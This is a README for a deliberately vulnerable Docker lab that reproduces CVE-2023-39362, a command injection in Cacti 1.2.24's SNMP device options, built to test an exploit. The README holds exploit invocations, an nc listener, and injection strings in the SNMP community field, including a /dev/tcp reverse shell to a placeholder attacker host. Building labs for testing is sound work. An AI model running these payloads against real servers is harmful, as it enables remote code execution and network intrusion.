
This repo is forked from this repo: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application
Cacti is an open-source operational monitoring and fault management framework, continually evolving to meet the dynamic needs of its user community.
In version 1.2.24, a potential security vulnerability marked as CVE-2023-39362 has been identified. Under specific conditions, an authenticated privileged user can exploit a flaw in the SNMP options of a Device, utilizing a malicious string that leads to command injection. This exploitation results in authenticated execution of remote code on the underlying server.
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39362
The implications of this vulnerability are severe, as a malicious actor with authenticated privileges could compromise the integrity of the server hosting Cacti. This compromise could potentially serve as a gateway for unauthorized access to other hosts within the network, especially those monitored by Cacti.
This is a vulnerable application to test the exploit for the Cacti vulnerability (CVE-2023-39362).
This application contains serious security vulnerabilities. Run it at your own risk! It is recommended using a backed-up and sheltered environment (such as a VM with a recent snapshot and host-only networking). Do not upload this application to any Internet facing servers, as they will be compromised.
I do not take responsibility for the way in which any one uses this application. The only purpose of this application is to be a test scenario for the CVE-2023-39362 exploit and it should not be used maliciously. If your server is compromised via an installation of this application it is not my responsibility, it is the responsibility of the person(s) who uploaded and installed it.**
Here the steps to setup the environment:
docker compose up -d to start composition.admin/admin.admin.guest user.guest to try the exploit.The official installation guide of Cacti can be found here.
To teardown the environment use docker compose down command.
(This is only one possible path for exploitation )
Run command on the remote server:
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd touch /tmp/proof
Opening a reverse shell:
nc -lvnp 4242
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd 'bash -c "exec bash -i &>/dev/tcp/ATTACKER_IP/PORT <&1"'
public\' ; touch /tmp/proof ; \'./tmp the presence of the created file.To obtain a reverse shell, a payload like the following can be used.
public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \'
A detailed root cause of the vulnerability is available in the original security advisory or on the original author's blog post.
This project is licensed under the Unlicense - see the LICENSE file for details.